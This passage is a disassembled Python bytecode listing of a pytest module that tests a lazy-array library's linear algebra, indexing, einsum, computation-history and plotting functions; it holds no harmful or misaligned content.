modified_gram_schmidt at 0x7fab54261a50, file "f.py", line 42> LOAD_CONST 'modified_gram_schmidt' MAKE_FUNCTION STORE_NAME modified_gram_schmidt LOAD_CONST <code object wrap_strict_check at 0x7fab542611e0, file "f.py", line 54> LOAD_CONST 'wrap_strict_check' MAKE_FUNCTION STORE_NAME wrap_strict_check LOAD_CONST <code object make_strict at 0x7fab54261030, file "f.py", line 67> LOAD_CONST 'make_strict' MAKE_FUNCTION STORE_NAME make_strict LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'backend' LOAD_NAME BACKENDS CALL_METHOD LOAD_CONST <code object test_lazy_mgs at 0x7fab542610c0, file "f.py", line 72> LOAD_CONST 'test_lazy_mgs' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_lazy_mgs LOAD_CONST <code object test_partial_evaluation at 0x7fab542618a0, file "f.py", line 99> LOAD_CONST 'test_partial_evaluation' MAKE_FUNCTION STORE_NAME test_partial_evaluation LOAD_CONST <code object test_history_fn_frequencies at 0x7fab542614b0, file "f.py", line 118> LOAD_CONST 'test_history_fn_frequencies' MAKE_FUNCTION STORE_NAME test_history_fn_frequencies LOAD_CONST <code object test_plot at 0x7fab542615d0, file "f.py", line 141> LOAD_CONST 'test_plot' MAKE_FUNCTION STORE_NAME test_plot LOAD_CONST <code object test_share_intermediates at 0x7fab54261390, file "f.py", line 167> LOAD_CONST 'test_share_intermediates' MAKE_FUNCTION STORE_NAME test_share_intermediates LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'backend' LOAD_NAME BACKENDS CALL_METHOD LOAD_CONST <code object test_transpose_chain at 0x7fab54261f60, file "f.py", line 184> LOAD_CONST 'test_transpose_chain' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_transpose_chain LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'backend' LOAD_NAME BACKENDS CALL_METHOD LOAD_CONST <code object test_reshape_chain at 0x7fab54261300, file "f.py", line 199> LOAD_CONST 'test_reshape_chain' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_reshape_chain LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'backend' LOAD_NAME BACKENDS CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'dtype' LOAD_CONST 'float64' LOAD_CONST 'complex128' BUILD_LIST CALL_METHOD LOAD_CONST <code object test_svd at 0x7fab54261db0, file "f.py", line 215> LOAD_CONST 'test_svd' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_svd LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'backend' LOAD_NAME BACKENDS CALL_METHOD LOAD_CONST <code object test_qr at 0x7fab54261270, file "f.py", line 234> LOAD_CONST 'test_qr' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_qr LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'backend' LOAD_NAME BACKENDS CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'dtype' LOAD_CONST 'float64' LOAD_CONST 'complex128' BUILD_LIST CALL_METHOD LOAD_CONST <code object test_eig_inv at 0x7fab80248ed0, file "f.py", line 250> LOAD_CONST 'test_eig_inv' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_eig_inv LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'backend' LOAD_NAME BACKENDS CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'dtype' LOAD_CONST 'float64' LOAD_CONST 'complex128' BUILD_LIST CALL_METHOD LOAD_CONST <code object test_eigh at 0x7fab80248db0, file "f.py", line 269> LOAD_CONST 'test_eigh' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_eigh LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'backend' LOAD_NAME BACKENDS CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'dtype' LOAD_CONST 'float64' LOAD_CONST 'complex128' BUILD_LIST CALL_METHOD LOAD_CONST <code object test_cholesky at 0x7fab802488a0, file "f.py", line 291> LOAD_CONST 'test_cholesky' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_cholesky LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'backend' LOAD_NAME BACKENDS CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'dtype' LOAD_CONST 'float64' LOAD_CONST 'complex128' BUILD_LIST CALL_METHOD LOAD_CONST <code object test_solve at 0x7fab80248420, file "f.py", line 308> LOAD_CONST 'test_solve' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_solve LOAD_CONST <code object test_dunder_magic at 0x7fab80248f60, file "f.py", line 326> LOAD_CONST 'test_dunder_magic' MAKE_FUNCTION STORE_NAME test_dunder_magic LOAD_CONST <code object test_indexing at 0x7fab80248540, file "f.py", line 405> LOAD_CONST 'test_indexing' MAKE_FUNCTION STORE_NAME test_indexing LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'k' LOAD_CONST -3 LOAD_CONST -1 LOAD_CONST 0 LOAD_CONST 2 LOAD_CONST 4 BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'shape' LOAD_CONST (3,) LOAD_CONST (2, 2) LOAD_CONST (3, 4) LOAD_CONST (4, 3) BUILD_LIST CALL_METHOD LOAD_CONST <code object test_diag at 0x7fab80248810, file "f.py", line 413> LOAD_CONST 'test_diag' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_diag LOAD_CONST <code object test_einsum at 0x7fab80248930, file "f.py", line 431> LOAD_CONST 'test_einsum' MAKE_FUNCTION STORE_NAME test_einsum LOAD_CONST <code object test_tensordot at 0x7fab703ef5d0, file "f.py", line 442> LOAD_CONST 'test_tensordot' MAKE_FUNCTION STORE_NAME test_tensordot LOAD_CONST <code object test_use_variable_to_trace_function at 0x7fab703efe40, file "f.py", line 451> LOAD_CONST 'test_use_variable_to_trace_function' MAKE_FUNCTION STORE_NAME test_use_variable_to_trace_function LOAD_CONST <code object test_can_pickle_traced_function at 0x7faad431d300, file "f.py", line 462> LOAD_CONST 'test_can_pickle_traced_function' MAKE_FUNCTION STORE_NAME test_can_pickle_traced_function LOAD_CONST <code object test_where at 0x7faad431d0c0, file "f.py", line 480> LOAD_CONST 'test_where' MAKE_FUNCTION STORE_NAME test_where LOAD_CONST <code object test_lazy_function_pytree_input_and_output at 0x7faad431d810, file "f.py", line 491> LOAD_CONST 'test_lazy_function_pytree_input_and_output' MAKE_FUNCTION STORE_NAME test_lazy_function_pytree_input_and_output LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'indices' LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST BUILD_LIST LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST BUILD_LIST LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST LOAD_CONST 2 LOAD_CONST 2 BUILD_LIST BUILD_LIST BUILD_LIST LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST BUILD_LIST BUILD_LIST BUILD_LIST LOAD_CONST 0 BUILD_LIST LOAD_CONST 1 BUILD_LIST BUILD_LIST BUILD_LIST LOAD_CONST 2 BUILD_LIST LOAD_CONST 3 BUILD_LIST BUILD_LIST BUILD_LIST BUILD_LIST BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'shape' LOAD_CONST (4,) LOAD_CONST (4, 5) LOAD_CONST (4, 5, 6) LOAD_CONST (4, 5, 6, 7) BUILD_LIST CALL_METHOD LOAD_CONST <code object test_take at 0x7faad431d030, file "f.py", line 512> LOAD_CONST 'test_take' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_take LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'indices' LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST BUILD_LIST LOAD_CONST 0 LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST BUILD_LIST LOAD_CONST 1 LOAD_CONST 1 BUILD_LIST LOAD_CONST 2 LOAD_CONST 2 BUILD_LIST BUILD_LIST BUILD_LIST LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST BUILD_LIST BUILD_LIST BUILD_LIST LOAD_CONST 0 BUILD_LIST LOAD_CONST 1 BUILD_LIST BUILD_LIST BUILD_LIST LOAD_CONST 2 BUILD_LIST LOAD_CONST 3 BUILD_LIST BUILD_LIST BUILD_LIST BUILD_LIST BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'shape' LOAD_CONST (4,) LOAD_CONST (4, 5) LOAD_CONST (4, 5, 6) LOAD_CONST (4, 5, 6, 7) BUILD_LIST CALL_METHOD LOAD_CONST <code object test_getitem at 0x7faad431de40, file "f.py", line 543> LOAD_CONST 'test_getitem' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_getitem LOAD_CONST (0, 10, 1, 5, None) LOAD_CONST <code object random_indexer at 0x7faad431da50, file "f.py", line 574> LOAD_CONST 'random_indexer' MAKE_FUNCTION STORE_NAME random_indexer LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'seed' LOAD_NAME range LOAD_CONST 1000 CALL_FUNCTION CALL_METHOD LOAD_CONST <code object test_lazy_getitem_random at 0x7faad431d540, file "f.py", line 640> LOAD_CONST 'test_lazy_getitem_random' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_lazy_getitem_random LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'shape1, shape2' LOAD_CONST ((3,), (3,)) LOAD_CONST ((3,), (3, 2)) LOAD_CONST ((6, 5, 4, 3), (3,)) LOAD_CONST ((7, 6, 5, 4), (7, 6, 4, 3)) BUILD_LIST CALL_METHOD LOAD_CONST <code object test_matmul_shape at 0x7faad431d270, file "f.py", line 651> LOAD_CONST 'test_matmul_shape' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_matmul_shape LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'shape1, shape2' LOAD_CONST ((3,), (1,)) LOAD_CONST ((3,), (4, 3)) LOAD_CONST ((3,), (3, 2, 1)) LOAD_CONST ((2, 2, 3, 4), (1, 2, 4, 5)) LOAD_CONST ((6, 5, 4), (6, 3, 3)) BUILD_LIST CALL_METHOD LOAD_CONST <code object test_matmul_shape_error at 0x7faad431dc90, file "f.py", line 671> LOAD_CONST 'test_matmul_shape_error' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_matmul_shape_error LOAD_CONST <code object test_pytree_compute at 0x7faad431d930, file "f.py", line 699> LOAD_CONST 'test_pytree_compute' MAKE_FUNCTION STORE_NAME test_pytree_compute LOAD_CONST <code object test_kron at 0x7faad431d1e0, file "f.py", line 709> LOAD_CONST 'test_kron' MAKE_FUNCTION STORE_NAME test_kron LOAD_CONST <code object test_concatenate at 0x7faad431d6f0, file "f.py", line 741> LOAD_CONST 'test_concatenate' MAKE_FUNCTION STORE_NAME test_concatenate LOAD_CONST None RETURN_VALUE LOAD_CONST <code object foo at 0x7fab54261c90, file "f.py", line 13> LOAD_CONST 'test_manual_construct.<locals>.foo' MAKE_FUNCTION STORE_FAST foo LOAD_GLOBAL do LOAD_CONST 'random.uniform' LOAD_CONST (5, 7) LOAD_CONST 'numpy' LOAD_CONST ('size', 'like') CALL_FUNCTION STORE_FAST x LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST x LOAD_CONST 0 LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR CALL_METHOD STORE_FAST x0 LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST x LOAD_CONST 1 LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR CALL_METHOD STORE_FAST x1 LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST x LOAD_CONST 2 LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR CALL_METHOD STORE_FAST x2 LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST x LOAD_CONST 3 LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR CALL_METHOD STORE_FAST x3 LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST x LOAD_CONST 4 LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR CALL_METHOD STORE_FAST x4 LOAD_GLOBAL lazy LOAD_ATTR LazyArray LOAD_GLOBAL infer_backend LOAD_FAST x CALL_FUNCTION LOAD_FAST foo LOAD_FAST x0 LOAD_FAST x1 BUILD_TUPLE LOAD_CONST '1' LOAD_FAST x2 BUILD_MAP BUILD_TUPLE LOAD_GLOBAL dict LOAD_CONST 'sub' LOAD_FAST x3 LOAD_FAST x4 BUILD_TUPLE BUILD_MAP LOAD_CONST ('c',) CALL_FUNCTION LOAD_CONST (7,) LOAD_CONST ('backend', 'fn', 'args', 'kwargs', 'shape') CALL_FUNCTION STORE_FAST y LOAD_FAST y LOAD_ATTR deps LOAD_FAST x0 LOAD_FAST x1 LOAD_FAST x2 LOAD_FAST x3 LOAD_FAST x4 BUILD_TUPLE COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL re LOAD_METHOD match LOAD_CONST 'x\\d+ = foo\\d+\\(\\(x\\d+, x\\d+,\\), {1: x\\d+}, c: {sub: \\(x\\d+, x\\d+,\\)}\\)' LOAD_FAST y LOAD_METHOD get_source CALL_METHOD CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_allclose LOAD_FAST y LOAD_METHOD compute CALL_METHOD LOAD_FAST x LOAD_METHOD sum LOAD_CONST 0 CALL_METHOD CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST a UNPACK_SEQUENCE STORE_FAST a1 STORE_FAST a2 LOAD_FAST b LOAD_CONST '1' BINARY_SUBSCR STORE_FAST b1 LOAD_FAST c LOAD_CONST 'sub' BINARY_SUBSCR UNPACK_SEQUENCE STORE_FAST c1 STORE_FAST c2 LOAD_GLOBAL do LOAD_CONST 'sum' LOAD_GLOBAL do LOAD_CONST 'stack' LOAD_FAST a1 LOAD_FAST a2 LOAD_FAST b1 LOAD_FAST c1 LOAD_FAST c2 BUILD_TUPLE CALL_FUNCTION LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION RETURN_VALUE BUILD_LIST STORE_FAST Q SETUP_LOOP to 136 LOAD_GLOBAL range LOAD_CONST 0 LOAD_GLOBAL shape LOAD_FAST X CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION GET_ITER FOR_ITER to 134 STORE_FAST j LOAD_FAST X LOAD_FAST j LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR STORE_FAST q SETUP_LOOP to 106 LOAD_GLOBAL range LOAD_CONST 0 LOAD_FAST j CALL_FUNCTION GET_ITER FOR_ITER to 104 STORE_FAST i LOAD_GLOBAL do LOAD_CONST 'tensordot' LOAD_GLOBAL do LOAD_CONST 'conj' LOAD_FAST Q LOAD_FAST i BINARY_SUBSCR CALL_FUNCTION LOAD_FAST q LOAD_CONST 1 LOAD_CONST ('axes',) CALL_FUNCTION STORE_FAST rij LOAD_FAST q LOAD_FAST rij LOAD_FAST Q LOAD_FAST i BINARY_SUBSCR BINARY_MULTIPLY BINARY_SUBTRACT STORE_FAST q JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL do LOAD_CONST 'linalg.norm' LOAD_FAST q LOAD_CONST 2 CALL_FUNCTION STORE_FAST rjj LOAD_FAST Q LOAD_METHOD append LOAD_FAST q LOAD_FAST rjj BINARY_TRUE_DIVIDE CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL do LOAD_CONST 'stack' LOAD_GLOBAL tuple LOAD_FAST Q CALL_FUNCTION LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION RETURN_VALUE LOAD_DEREF larray LOAD_ATTR _fn STORE_DEREF fn_orig LOAD_GLOBAL functools LOAD_METHOD wraps LOAD_DEREF fn_orig CALL_METHOD LOAD_CLOSURE fn_orig LOAD_CLOSURE larray BUILD_TUPLE LOAD_CONST <code object checked at 0x7fab54261420, file "f.py", line 57> LOAD_CONST 'wrap_strict_check.<locals>.checked' MAKE_FUNCTION CALL_FUNCTION STORE_FAST checked LOAD_FAST checked RETURN_VALUE LOAD_DEREF fn_orig LOAD_FAST args LOAD_FAST kwargs CALL_FUNCTION STORE_FAST data LOAD_GLOBAL shape LOAD_FAST data CALL_FUNCTION LOAD_GLOBAL shape LOAD_DEREF larray CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL infer_backend LOAD_FAST data CALL_FUNCTION LOAD_DEREF larray LOAD_ATTR backend COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST data RETURN_VALUE SETUP_LOOP to 28 LOAD_FAST larray LOAD_METHOD descend CALL_METHOD GET_ITER FOR_ITER to 26 STORE_FAST node LOAD_GLOBAL wrap_strict_check LOAD_FAST larray CALL_FUNCTION LOAD_FAST larray STORE_ATTR _fn JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST backend LOAD_CONST 'sparse' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL pytest LOAD_METHOD xfail LOAD_CONST "Sparse doesn't support 'linalg.norm' yet..." CALL_METHOD POP_TOP LOAD_GLOBAL gen_rand LOAD_CONST (5, 5) LOAD_FAST backend CALL_FUNCTION STORE_FAST x LOAD_GLOBAL lazy LOAD_METHOD array LOAD_FAST x CALL_METHOD STORE_FAST lx LOAD_GLOBAL modified_gram_schmidt LOAD_FAST lx CALL_FUNCTION STORE_FAST ly LOAD_FAST ly LOAD_METHOD show CALL_METHOD POP_TOP LOAD_GLOBAL make_strict LOAD_FAST ly CALL_FUNCTION POP_TOP LOAD_GLOBAL str LOAD_FAST ly CALL_FUNCTION LOAD_CONST "<LazyArray(fn=stack, shape=(5, 5), backend='" LOAD_FAST backend FORMAT_VALUE LOAD_CONST "')>" BUILD_STRING COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST ly LOAD_GLOBAL lazy LOAD_ATTR LazyArray CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ly LOAD_METHOD history_max_size CALL_METHOD STORE_FAST hmax LOAD_FAST ly LOAD_METHOD history_peak_size CALL_METHOD STORE_FAST hpeak LOAD_FAST ly LOAD_METHOD history_total_size CALL_METHOD STORE_FAST htot LOAD_FAST hmax LOAD_CONST 25 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 25 LOAD_FAST hpeak DUP_TOP ROT_THREE COMPARE_OP < POP_JUMP_IF_FALSE LOAD_FAST htot COMPARE_OP < POP_JUMP_IF_TRUE JUMP_FORWARD to 160 POP_TOP LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ly LOAD_METHOD history_num_nodes CALL_METHOD LOAD_CONST 57 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST ly LOAD_METHOD history_fn_frequencies CALL_METHOD CALL_FUNCTION LOAD_CONST 9 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_allclose LOAD_GLOBAL to_numpy LOAD_FAST ly LOAD_METHOD compute CALL_METHOD CALL_FUNCTION LOAD_GLOBAL to_numpy LOAD_GLOBAL modified_gram_schmidt LOAD_FAST x CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL lazy LOAD_METHOD shared_intermediates CALL_METHOD SETUP_WITH to 256 POP_TOP LOAD_GLOBAL modified_gram_schmidt LOAD_FAST lx CALL_FUNCTION STORE_FAST ly LOAD_GLOBAL make_strict LOAD_FAST ly CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST ly LOAD_METHOD history_num_nodes CALL_METHOD LOAD_CONST 51 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST ly LOAD_METHOD history_fn_frequencies CALL_METHOD CALL_FUNCTION LOAD_CONST 9 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_allclose LOAD_GLOBAL to_numpy LOAD_FAST ly LOAD_METHOD compute CALL_METHOD CALL_FUNCTION LOAD_GLOBAL to_numpy LOAD_GLOBAL modified_gram_schmidt LOAD_FAST x CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (10, 10) LOAD_CONST 'numpy' CALL_FUNCTION CALL_METHOD STORE_FAST la LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (10, 10) LOAD_CONST 'numpy' CALL_FUNCTION CALL_METHOD STORE_FAST lb LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (10, 10) LOAD_CONST 'numpy' CALL_FUNCTION CALL_METHOD STORE_FAST lc LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (10, 10) LOAD_CONST 'numpy' CALL_FUNCTION CALL_METHOD STORE_FAST ld LOAD_GLOBAL do LOAD_CONST 'tanh' LOAD_FAST la LOAD_FAST lb BINARY_MATRIX_MULTIPLY CALL_FUNCTION STORE_FAST lab LOAD_FAST lc LOAD_FAST ld BINARY_MATRIX_MULTIPLY STORE_FAST lcd LOAD_FAST lab LOAD_FAST lcd BINARY_ADD STORE_FAST ls LOAD_GLOBAL do LOAD_CONST 'abs' LOAD_FAST lab LOAD_FAST lcd BINARY_TRUE_DIVIDE CALL_FUNCTION STORE_FAST ld LOAD_GLOBAL do LOAD_CONST 'einsum' LOAD_CONST 'ab,ba->a' LOAD_FAST ls LOAD_FAST ld CALL_FUNCTION STORE_FAST le LOAD_GLOBAL do LOAD_CONST 'sum' LOAD_FAST le CALL_FUNCTION STORE_FAST lf LOAD_GLOBAL make_strict LOAD_FAST lf CALL_FUNCTION POP_TOP LOAD_FAST lf LOAD_METHOD history_num_nodes CALL_METHOD LOAD_CONST 12 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lf LOAD_ATTR compute_constants LOAD_FAST lc LOAD_FAST ld BUILD_LIST LOAD_CONST ('variables',) CALL_FUNCTION POP_TOP LOAD_FAST lf LOAD_METHOD history_num_nodes CALL_METHOD LOAD_CONST 9 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'tanh' LOAD_CONST <code object <setcomp> at 0x7fab54261930, file "f.py", line 114> LOAD_CONST 'test_partial_evaluation.<locals>.<setcomp>' MAKE_FUNCTION LOAD_FAST lf LOAD_METHOD descend CALL_METHOD GET_ITER CALL_FUNCTION COMPARE_OP not in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lf LOAD_METHOD compute CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE BUILD_SET LOAD_FAST .0 FOR_ITER to 16 STORE_FAST node LOAD_FAST node LOAD_ATTR fn_name SET_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (10, 10) LOAD_CONST 'numpy' CALL_FUNCTION CALL_METHOD STORE_FAST la LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (10, 10) LOAD_CONST 'numpy' CALL_FUNCTION CALL_METHOD STORE_FAST lb LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (10, 10) LOAD_CONST 'numpy' CALL_FUNCTION CALL_METHOD STORE_FAST lc LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (10, 10) LOAD_CONST 'numpy' CALL_FUNCTION CALL_METHOD STORE_FAST ld LOAD_GLOBAL do LOAD_CONST 'tanh' LOAD_FAST la LOAD_FAST lb BINARY_MATRIX_MULTIPLY CALL_FUNCTION STORE_FAST lab LOAD_FAST lc LOAD_FAST ld BINARY_MATRIX_MULTIPLY STORE_FAST lcd LOAD_FAST lab LOAD_FAST lcd BINARY_ADD STORE_FAST ls LOAD_GLOBAL do LOAD_CONST 'abs' LOAD_FAST lab LOAD_FAST lcd BINARY_TRUE_DIVIDE CALL_FUNCTION STORE_FAST ld LOAD_GLOBAL do LOAD_CONST 'einsum' LOAD_CONST 'ab,ba->a' LOAD_FAST ls LOAD_FAST ld CALL_FUNCTION STORE_FAST le LOAD_GLOBAL do LOAD_CONST 'sum' LOAD_FAST le CALL_FUNCTION STORE_FAST lf LOAD_FAST lf LOAD_METHOD history_fn_frequencies CALL_METHOD LOAD_CONST 4 LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST ('None', 'tanh', 'matmul', 'add', 'absolute', 'truediv', 'einsum', 'sum') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'networkx' CALL_METHOD POP_TOP LOAD_GLOBAL pytest LOAD_METHOD importorskip LOAD_CONST 'matplotlib' CALL_METHOD STORE_FAST matplotlib LOAD_FAST matplotlib LOAD_METHOD use LOAD_CONST 'Template' CALL_METHOD POP_TOP LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (10, 10) LOAD_CONST 'numpy' CALL_FUNCTION CALL_METHOD STORE_FAST la LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (10, 10) LOAD_CONST 'numpy' CALL_FUNCTION CALL_METHOD STORE_FAST lb LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (10, 10) LOAD_CONST 'numpy' CALL_FUNCTION CALL_METHOD STORE_FAST lc LOAD_GLOBAL lazy LOAD_METHOD array LOAD_GLOBAL gen_rand LOAD_CONST (10, 10) LOAD_CONST 'numpy' CALL_FUNCTION CALL_METHOD STORE_FAST ld LOAD_GLOBAL do LOAD_CONST 'tanh' LOAD_FAST la LOAD_FAST lb BINARY_MATRIX_MULTIPLY CALL_FUNCTION STORE_FAST lab LOAD_FAST lc LOAD_FAST ld BINARY_MATRIX_MULTIPLY STORE_FAST lcd LOAD_FAST lab LOAD_FAST lcd BINARY_ADD STORE_FAST ls LOAD_GLOBAL do LOAD_CONST 'abs' LOAD_FAST lab LOAD_FAST lcd BINARY_TRUE_DIVIDE CALL_FUNCTION STORE_FAST ld LOAD_GLOBAL do LOAD_CONST 'einsum' LOAD_CONST 'ab,ba->a' LOAD_FAST ls LOAD_FAST ld CALL_FUNCTION STORE_FAST le LOAD_GLOBAL do LOAD_CONST 'sum' LOAD_FAST le CALL_FUNCTION STORE_FAST lf LOAD_FAST lf LOAD_METHOD plot_graph CALL_METHOD POP_TOP LOAD_FAST lf LOAD_ATTR plot_graph LOAD_CONST 'layers' LOAD_CONST ('initial_layout',) CALL_FUNCTION POP_TOP LOAD_FAST lf LOAD_ATTR plot_graph LOAD_FAST lc LOAD_FAST ld BUILD_LIST LOAD_CONST 'variables' LOAD_CONST ('variables', 'color_by') CALL_FUNCTION POP_TOP LOAD_FAST lf LOAD_METHOD plot_circuit CALL_METHOD POP_TOP LOAD_FAST lf LOAD_ATTR plot_circuit LOAD_CONST 'id' LOAD_CONST ('color_by',) CALL_FUNCTION POP_TOP LOAD_FAST lf LOAD_METHOD 